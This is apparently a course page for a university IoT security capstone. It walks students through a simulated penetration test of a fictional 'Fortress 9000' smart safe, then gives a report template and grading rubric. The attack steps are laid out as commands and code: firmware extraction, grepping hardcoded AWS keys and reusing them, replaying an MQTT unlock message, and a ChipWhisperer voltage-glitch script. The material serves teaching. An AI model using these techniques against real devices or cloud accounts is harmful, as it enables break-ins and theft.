Skip to content
CSY304 Week 12 Advanced

Week Content

IoT & Embedded Systems Security

Track your progress through this week's content

The Engagement: Fortress Safe Co.

Client: Fortress Safe Co. (FSC)
Product: "Fortress 9000" Smart Bio-Metric Safe
Scope: Firmware, Network Protocol, Mobile App API.
Timeline: 48 Hours. (Simulated)

You have been hired by Fortress Safe Co. to perform a black-box penetration test on their upcoming flagship product, the Fortress 9000. The marketing team claims it is "Unhackable" because it uses "Military Grade Encryption" and "Blockchain-Ready AI". (Red Flag #1).

Your goal is simple: Open the safe without the PIN code.

Architecture

Mission Objectives (Flags):
  1. Firmware: Extract the filesystem and find the hidden "Backdoor PIN".
  2. Cloud: Extract the AWS Credentials and subscribe to the MQTT stream.
  3. Network: Replay a captured "Unlock" packet to open the safe.
  4. Hardware: Bypass the PIN check using simulated Voltage Glitching.

Phase 1: Recon & Firmware Analysis (Flag #1)

You have physically obtained a Fortress 9000. You opened the case (voiding the warranty) and found an SPI Flash chip.

Artifact Provided: fortress_dump.bin (4MB)

Step 1: Analysis


# 1. What are we looking at?
binwalk fortress_dump.bin

# Output:
# DECIMAL       HEXADECIMAL     DESCRIPTION
# --------------------------------------------------------------------------------
# 0             0x0             ESP32 bootloader image
# 65536         0x10000         Partition Table
# 131072        0x20000         SquashFS filesystem, little endian
# 196608        0x30000         App Image (app_main)
                    

Step 2: Extraction

Terminal

# Extract contents
binwalk -e fortress_dump.bin

# Navigate to filesystem
cd _fortress_dump.bin.extracted/squashfs-root/
ls -la
# config.json  factory_test.sh  server_cert.pem  app_main
                    

Step 3: Finding Secrets

We see a file called config.json. Let's cat it.


{
  "device_id": "fortress_9000_v1",
  "mqtt_endpoint": "a2example-ats.iot.us-east-1.amazonaws.com",
  "debug_mode": false
}
                     

Nothing interesting. What about `factory_test.sh`?

Step 4: The Findings

Reading factory_test.sh reveals a developer backdoor.


cat factory_test.sh
#!/bin/sh
# FACTORY TEST MODE
# AUTOMATED JIG TESTING SCRIPT
# If PIN is 999999, open solenoid immediately for solenoid cycle testing.
if [ "$PIN" == "999999" ]; then
  echo "FACTORY OVERRIDE DETECTED"
  trigger_solenoid --force
fi
                    
FLAG #1 FOUND: The Master PIN is 999999.

Phase 2: Cloud Credential Extraction (Flag #2)

The safe talks to the cloud. If we can impersonate the safe, we can trick the user's app.

Step 1: Hunting for Secrets

We need the MQTT credentials. We run strings on the binary.


strings fortress_dump.bin | grep "aws"
# Nothing...

strings fortress_dump.bin | grep "AKIA"
# Found: AKIAIOSFODNN7EXAMPLE
# Found: wJalrXUtnFEMI/K7MDENG/bpxRfiCYEXAMPLEKEY

strings fortress_dump.bin | grep "arn"
# Found: arn:aws:iot:us-east-1:123456789012:thing/FortressSafe001
                    

Vulnerability: Hardcoded AWS IAM User credentials in the flash memory. This is a critical failure (CWE-798).

Step 2: Validation

We configure the AWS CLI with these stolen keys.


aws configure
# Paste AKIA...
# Paste Secret Key...

# Check who we are
aws sts get-caller-identity
# {
#     "UserId": "AIDASAMPLEUSER",
#     "Account": "123456789012",
#     "Arn": "arn:aws:iam::123456789012:user/FortressDeviceUser"
# }

# Does this user have permissions?
aws iot list-things
# {
#    "things": [
#        { "thingName": "FortressSafe001" },
#        { "thingName": "FortressSafe002" }
#    ]
# }
                    
FLAG #2 FOUND: We have valid AWS Credentials with read/write access to the IoT Core. We can now list ALL safes.

Phase 3: Network Attack (Flag #3)

Now that we have the keys, let's become the "Man in the Cloud" (MITC).

Step 1: Subscribe to Traffic

We want to see what happens when the legitimate user unlocks the safe from their phone.


# Subscribe to all topics for this device ID (found in config.json)
mosquitto_sub -h a2example-ats.iot.us-east-1.amazonaws.com \
    -p 8883 --cafile root.pem \
    --cert device.pem --key device.key \
    -t "fortress/9000/cmd"
                    

Step 2: Capture the Replay

The user presses "Unlock" on their phone. We see:


{
  "cmd": "UNLOCK",
  "ts": 167889221,
  "sig": "deadbeef",
  "user_id": "admin"
}
                    

Analysis: There is a timestamp (`ts`), but is there a replay check? Let's try sending it again.

Step 3: The Attack


# Send the EXACT same payload
mosquitto_pub -h a2example-ats.iot.us-east-1.amazonaws.com \
 -p 8883 --cafile root.pem \
 --cert hackers_cert.pem --key hackers_key.pem \
 -t "fortress/9000/cmd" \
 -m '{"cmd": "UNLOCK", "ts": 167889221, "sig": "deadbeef", "user_id": "admin"}'
                    

Result: The safe clicks open.
Vulnerability: Missing Nonce/Replay Protection. The device accepted an old timestamp.

FLAG #3 FOUND: Remote Replay Attack successful.

Phase 4: Hardware Glitching (Flag #4)

The developers patched the firmware to remove the backdoor and the cloud keys. The safe is now offline. We must use physics.

Goal: The "Check PIN" function looks like this:


bool check_pin(char* input_pin, char* stored_pin) {
    if (strcmp(input_pin, stored_pin) == 0) {
        return true;
    } else {
        return false;
    }
}

// In main loop:
if (check_pin(input_pin, stored_pin)) {
    unlock_safe(); // Instruction Address: 0x400D1234
} else {
    alert_police(); // Instruction Address: 0x400D1238
}
                    

The Attack

We use a ChipWhisperer to inject a voltage glitch EXACTLY when `check_pin` returns. If we glitch the CPU power rail, it might skip the `if (false)` branch comparison.

Python (ChipWhisperer)

import chipwhisperer as cw
import time

scope = cw.scope()
target = cw.target(scope)

# Setup Glitcher
scope.glitch.clk_src = "clkgen"
scope.glitch.output = "glitch_only"
scope.glitch.width = 10.5 # pulse width
scope.glitch.offset = 4.2 # offset from clock edge
scope.glitch.trigger_src = "ext_single" # Trigger on external IO

# Attack Loop
print("GLITCHING STARTED...")
for i in range(100):
    scope.arm()
    target.send_pin("000000") # Wrong PIN
    
    # Fire Glitch at offset 1234 cycles (measured previously)
    scope.glitch.trigger()
    
    # Check Result
    response = target.read()
    if "UNLOCKED" in response:
        print(f"GLITCH SUCCESS at iteration {i}!")
        print(f"Output: {response}")
        break
    else:
        print(".", end="")
                    
FLAG #4 FOUND: Authentication Bypass via Fault Injection.

Final Deliverable: The Report

A hack without a report is just vandalism. You must submit a professional PDF following this structure.

report_template.md

# Penetration Test Report: Fortress 9000

## 1. Executive Summary
**Date:** Oct 24, 2026
**Assessor:** [Your Name]
**Risk Rating:** CRITICAL

The Fortress 9000 Smart Safe was found to contain multiple critical vulnerabilities that allow for unauthorized access. Attackers can unlock the safe remotely without the user's knowledge or physically open it via hardware manipulation. 

**Recommendation:** Immediate product recall is advised.

## 2. Summary of Findings

| ID | Title | Severity | CVSS |
|----|-------|----------|------|
| F1 | Hardcoded Factory PIN (999999) | Critical | 10.0 |
| F2 | Hardcoded AWS Creds in Flash | Critical | 9.8 |
| F3 | MQTT Replay Vulnerability | High | 8.1 |
| F4 | Voltage Glitching Bypass | Medium | 5.5 |

## 3. Technical Findings

### F1: Hardcoded Factory PIN
**Description:** Analysis of `factory_test.sh` revealed a master PIN `999999`.
**Impact:** Trivial access for anyone who knows the code.
**Remediation:** Remove test scripts from production firmware.

### F2: Hardcoded Cloud Keys
**Description:** `strings` revealed `AKIA...` keys with full IoT access.
**Impact:** Attacker can impersonate any device or the cloud itself.
**Remediation:** Use X.509 Certificates stored in a Secure Element.

### F3: Missing Replay Protection
**Description:** The MQTT unlock command lacks a unique nonce or rolling code.
**Impact:** Attacker can replay old packets to open the safe.
**Remediation:** Implement a challenge-response mechanism or rolling timestamps with strict windows.

## 4. Conclusion
The device fails to meet basic IoT security standards (OWASP I1, I2, I4, I9).
                    

Assessment Grading Rubric

How you will be graded on this capstone (100 Points Total).

Category Points Criteria
Technical Execution 40 Did you find all 4 Flags? (10 pts each). Did you explain how?
Risk Analysis 30 Did you use CVSS correctly? Did you articulate the business risk (Brand damage, liability)?
Remediation 20 Are your fixes actionable? (e.g., "Use ATECC608" vs "Fix security").
Professionalism 10 Is the report clean, typo-free, and well-structured?

Appendix A: The Pentester's Cheat Sheet

A summary of every tool used in CSY304.

Firmware Analysis

Network & Cloud

Hardware

Appendix B: CVSS Calculator Guide

Common IoT Vulnerabilities scoring reference.

Vulnerability Vector Score
Hardcoded Root Password CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 (Critical)
Unauthenticated API Endpoint CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L 9.4 (Critical)
Missing Encryption (HTTP) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N 5.9 (Medium)
UART Shell (Physical Access) CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 6.8 (Medium)

Appendix C: Rules of Engagement (RoE)

LEGAL WARNING:
   _____ ____  _   _  _____ _____         _______ _____ 
  / ____/ __ \| \ | |/ ____|  __ \     /\|__   __/ ____|
 | |   | |  | |  \| | |  __| |__) |   /  \  | | | (___  
 | |   | |  | | . ` | | |_ |  _  /   / /\ \ | |  \___ \ 
 | |___| |__| | |\  | |__| | | \ \  / ____ \| |  ____) |
  \_____\____/|_| \_|\_____|_|  \_\/_/    \_\_| |_____/ 
                                                        
  CSY304: IoT & EMBEDDED SYSTEMS SECURITY - COMPLETED.
                    

[ SYSTEM SHUTTING DOWN... ]